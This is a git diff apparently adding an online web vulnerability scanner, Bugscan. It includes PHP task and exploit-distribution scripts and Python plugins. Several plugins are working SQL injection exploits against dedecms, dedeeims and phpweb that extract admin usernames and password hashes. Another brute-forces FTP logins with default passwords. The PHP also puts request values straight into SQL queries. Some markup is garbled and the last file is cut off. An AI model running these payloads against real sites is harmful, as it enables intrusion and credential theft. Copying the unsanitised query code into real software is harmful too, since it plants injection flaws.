diff --git a/Exit.php b/Exit.php new file mode 100644 index 0000000..7d8723e --- /dev/null +++ b/Exit.php @@ -0,0 +1,6 @@ +window.top.location.href='/';"; +?> \ No newline at end of file diff --git a/Get.php b/Get.php new file mode 100644 index 0000000..60a0851 --- /dev/null +++ b/Get.php @@ -0,0 +1,11 @@ +fetch_assoc("select * from ##_task_list where user = '{$u}' and status=1"); +if ($fs['task']){ + echo file_get_contents(dirname(__FILE__)."/plus/{$fs['task']}.py"); + echo ':|:'.$fs['url'].':|:'.$fs['report_id']; + $addtime=time(); + $db->fetch_assoc1("update ##_task_list set status=0,exec_ip='{$ip}',exec_time=$addtime where id = {$fs['id']}"); +} +?> \ No newline at end of file diff --git a/Get_exp.php b/Get_exp.php new file mode 100644 index 0000000..f7a940a --- /dev/null +++ b/Get_exp.php @@ -0,0 +1,18 @@ +query("select dir from ##_exploit where dir Like '%{$exp}%'"); +$rows = mysql_num_rows($fs); +if ($rows>0 and $exp){ + for($i = 0; $i < $rows; $i++) + { + $ss = $db->fetch_row($fs); + $exp_list .=$ss[0]."|exp|"; + } + print $exp_list; +} +if($x){ + $fss = $db->fetch_assoc("select dir from ##_exploit where dir = '{$x}'"); + echo file_get_contents(dirname(__FILE__)."/plus/{$fss["dir"]}.py"); + //exit(); +} +?> \ No newline at end of file diff --git a/README.md b/README.md index c167d9d..9208e51 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,14 @@ -Bugscan -======= - -Bugscan Web Vulnerability Scaner Online System +Bugscan +======= + +Bugscan Web Vulnerability Scaner Online System + +核心使用江湖一刀的mst框架,话说那框架真的很赞。 + +之后也反编译过bugscan的部分代码,也很赞。 + +这东西14年已经完成了demo,一直没时间继续完善,代码也写得很low T_T 。 + +By - Mr.x + +2015.8.12 diff --git a/data/cms.txt b/data/cms.txt new file mode 100644 index 0000000..e063c99 --- /dev/null +++ b/data/cms.txt @@ -0,0 +1,20 @@ +/plus/img/face/1.gif::89fe2f5e0467ef10f066272d07e2de57::dede +/include/code/datalist.utf-8.inc::b3f27da60b6302fcfeeb56105716ca7d::dede +/include/js/jquery/ui.core.js::ec7d2e180b647f8ee80fd7370f340a0d::dede +/include/js/jquery/jquery.js::518215c646beff570b8d9849429139d4::dede +/houtai/img/admin_top_logo.gif::1e78c168da8271af6538b00e4baf53d5::dede +/favicon.ico::21e51cee51c833c76dec691155d0d8a4::dede +/favicon.ico::21e51cee51c833c76dec691155d0d8a4::dede +/data/admin/allowurl.txt::dda6f3b278f65bd77ac556bf16166a0c::dede +/favicon.ico::93cc5f5b4c2d22841e3f5c952db5116a::dede +/member/images/member.gif::9e41920b6e9a04a55e886589ac12146a::dede +/member/templets/images/login_logo.gif::15e2e455b176f7b1d49e5ca3a4f79f5d::dede +/plus/img/wbg.gif::6e8b9b8af42923fa0ecf89c0054e4091::dede +/js/close.gif::106f4f32d0f4fea144b2848b4ee2fb79::aspcms +/js/close.gif::1f96a4dc1fd3761cbbc63160f4663bf6::aspcms +/images/qq/qqkf2/Kf_bg03_03.gif::86e0554ab2d9f46bab7852d71f2eecd3::aspcms +/images/qq/qqkf2/Kf_bg03_03.gif::fd5895d46be13038be5dffd88539cb45::aspcms +/js/date/date.html::06eb7c5ad8f42e12f93e74a1dc774e42::Gv32cms +/js/date/images/bg.gif::e8c26ca976ddfb1bf8a789b0dc25ac86::Gv32cms +/base/templates/images/2.png::fa2b19f44a5084d560d707da20846575::phpweb +/base/templates/images/2.png::b34179667ebcbe98b2be099a1391b5b0::phpweb diff --git a/exp_list.php b/exp_list.php new file mode 100644 index 0000000..d14e0ca --- /dev/null +++ b/exp_list.php @@ -0,0 +1,21 @@ +query("select * from ##_exploit"); + $rows = mysql_num_rows($query); + $i=1; + while ($fs = $db->fetch_array($query)) + { + $exp_name = $fs["title"]; + $exp_dir = $fs["dir"]; + $exp_content = $fs["content"]; + $loopstr .= "
| 编号 | +漏洞名称 (共 个) | +
|---|
| t |
| 注册码 | +操 作 | +
|---|
| 目标 | +状态 | +时间 | +操作 | +
|---|
| 问题名称 | +返回信息 | +级别 | +时间 | +
|---|
(\w{20}\.{3})
',str) + if len(username) != 0 and len(password) != 0: + username = username[0] + password = password[0][3:-4] + fuck.report('dedecms5.7_search.php_SQLInject',"%s|%s"%(username,password)) + print "TARGET dedecms5.7_search.php_SQLInject VULNERABLE !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/dedeeims_SQLInject.py b/plus/dedeeims_SQLInject.py new file mode 100644 index 0000000..a7e541d --- /dev/null +++ b/plus/dedeeims_SQLInject.py @@ -0,0 +1,13 @@ +def exploit(url): + poc = "http://"+url+"/wap.php?action=list&id=1"+chr(37)+"20or"+chr(37)+"20@`'`=1"+chr(37)+"20and"+chr(37)+"20(SELECT"+chr(37)+"201"+chr(37)+"20FROM"+chr(37)+"20(select"+chr(37)+"20count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x3d,pwd)+from+`"+chr(37)+"23@__admin`+limit+0,1),1,62)))a"+chr(37)+"20from"+chr(37)+"20information_schema.tables"+chr(37)+"20group"+chr(37)+"20by"+chr(37)+"20a)b)"+chr(37)+"20and"+chr(37)+"20@`'`=0" + try: + ok=fuck.urlget(poc) + if ok.getcode() == 200: + str=ok.read() + tmp=fuck.find("\w+=\w{20}",str) + if len(tmp)>0: + fuck.report('dedeeims_SQLInject',"%s"%tmp[0]) + print "TARGET dedeeims_SQLInject VULNERABLE !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/ftp.py b/plus/ftp.py new file mode 100644 index 0000000..5b3fc67 --- /dev/null +++ b/plus/ftp.py @@ -0,0 +1,9 @@ +def crack_ftp(password): + status=fuck.ftpscan(test_ip,password) + if status == 1: + fuck.report('ftp','%s %s'%(test_url,password)) + print '%s %s'%(test_url,password) +print 'start' +dic_list=['admin|123','admin|123456','x|123456'] +fuck.thread(crack_ftp,dic_list,len(dic_list)) +print 'end' diff --git a/plus/gethead.py b/plus/gethead.py new file mode 100644 index 0000000..eee761f --- /dev/null +++ b/plus/gethead.py @@ -0,0 +1,50 @@ +print 'start' +http_head=fuck.get_head(test_url) +if http_head== False: + sys.exit(1) +if http_head.getheader("server"): + server=http_head.getheader("server") +else: + server='CDN' +if http_head.getheader("x-powered-by"): + waf=http_head.getheader("x-powered-by") +else: + waf='NULL' +if server.find('CNYUNAN')>-1: + fuck.report('gethead','%s|%s'%('深圳云安网站卫士',waf)) + result='%s|%s|%s'%(test_url,u'深圳云安网站卫士',waf) + print result +elif http_head.getheader("X-Powered-By-Anquanbao"): + fuck.report('gethead','%s|%s'%(server,'Anquanbao')) + result='%s|%s|%s'%(test_url,server,u'安全宝') + print result +elif http_head.getheader("x-powered-by-360wzb"): + fuck.report('gethead','%s|%s'%(server,'360wzb')) + result='%s|%s|%s'%(test_url,server,u'360网站卫士') + print result +elif http_head.getheader("x-cache"): + fuck.report('gethead','%s|%s'%(server,'jiasule')) + result='%s|%s|%s'%(test_url,server,u'加速乐') + print result +elif waf.find('Safe3')>-1: + fuck.report('gethead','%s|%s'%(server,waf)) + result='%s|%s|%s'%(test_url,server,'Safe3WAF') + print result +elif waf.find('WAF/')>-1: + fuck.report('gethead','%s|%s'%(server,waf)) + result='%s|%s|%s'%(test_url,server,u'网站安全狗') + print result +else: + fuck.report('gethead','%s|%s'%(server,waf)) + result='%s|%s|%s'%(test_url,server,waf) + print result +nginx_test_url='http://%s/robots.txt'%test_url +nginx_test=fuck.urlget(nginx_test_url) +if nginx_test.getcode() == 200: + md5_1=fuck.get_md5(nginx_test.read()) + md5_2=fuck.get_md5(fuck.urlget('http://%s/robots.txt/1.php'%test_url).read()) + if md5_1==md5_2: + fuck.report('nginx_CommandExec','http://%s/robots.txt/1.php'%test_url) + result='nginx_CommandExec: http://%s/robots.txt/1.php'%test_url + print result +print 'end' diff --git a/plus/phpweb_SQLInject.py b/plus/phpweb_SQLInject.py new file mode 100644 index 0000000..44ac502 --- /dev/null +++ b/plus/phpweb_SQLInject.py @@ -0,0 +1,12 @@ +def exploit(url): + poc = "http://"+url+"/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3d,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html" + try: + ok=fuck.urlget(poc) + if ok.getcode() == 200: + tmp=fuck.find("\w+=\w{32}",ok.read()) + if len(tmp)>0: + fuck.report('phpweb_SQLInject',"http://%s